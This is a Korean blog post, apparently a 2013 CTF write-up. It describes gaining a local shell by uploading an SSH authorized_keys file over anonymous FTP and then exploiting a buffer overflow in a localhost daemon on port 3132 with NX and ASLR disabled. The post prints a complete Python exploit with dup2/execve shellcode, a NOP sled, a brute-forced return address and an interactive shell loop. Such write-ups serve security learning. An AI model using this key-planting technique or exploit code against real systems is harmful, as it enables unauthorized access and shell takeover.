공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다.


로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.

로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다.


$ ssh-keygen -t rsa

로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,

public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다.


그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)

그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)

그리고, /home/secu_ftpd/authorized_keys 를 덮어 씌운다.

그 후에 곧바로 ssh secu_ftpd@서버주소 를 통해서 로그인한다.


그러면 첫번째 관문은 통과했다.


그리고 나서는 NX,ASLR이 꺼져있기때문에, 조금 분석후에 간단한 공격을 한다. (사실 엄청 간단하지는 않고, 좀 까다로웠다.)


from socket import *
import sys
import time
 
fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
for i in range(0x00,0xff,10):
        print hex(i)
        payload = ""
        payload += "\x90"*24
        payload += shellcode
        payload += "\x90"*3
        payload += (chr(i)+"\xf2\xff\xbf")*15
        s=socket(AF_INET,SOCK_STREAM)
        s.connect(('localhost',3132))
        while ">" not in s.recv(1024): pass
        time.sleep(0.0001)
        s.send(payload)
        s.send('id\n')
        try:
                get = s.recv(1024)
        except:
                get = ""
                print "except"
                s.close()
                continue
        if get.find('id') is not -1:
                while True:
                        cmd = raw_input('$ ')
                        if cmd == 'exit':
                                s.close()
                                break
                        s.send(cmd+'\n')
                        result = s.recv(1024)
                        print result
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
[Secuinside 2013] Secure Web, write up  (8) 2013.05.26
[Secuinside 2013] banking, write up  (1) 2013.05.26
posted by tunz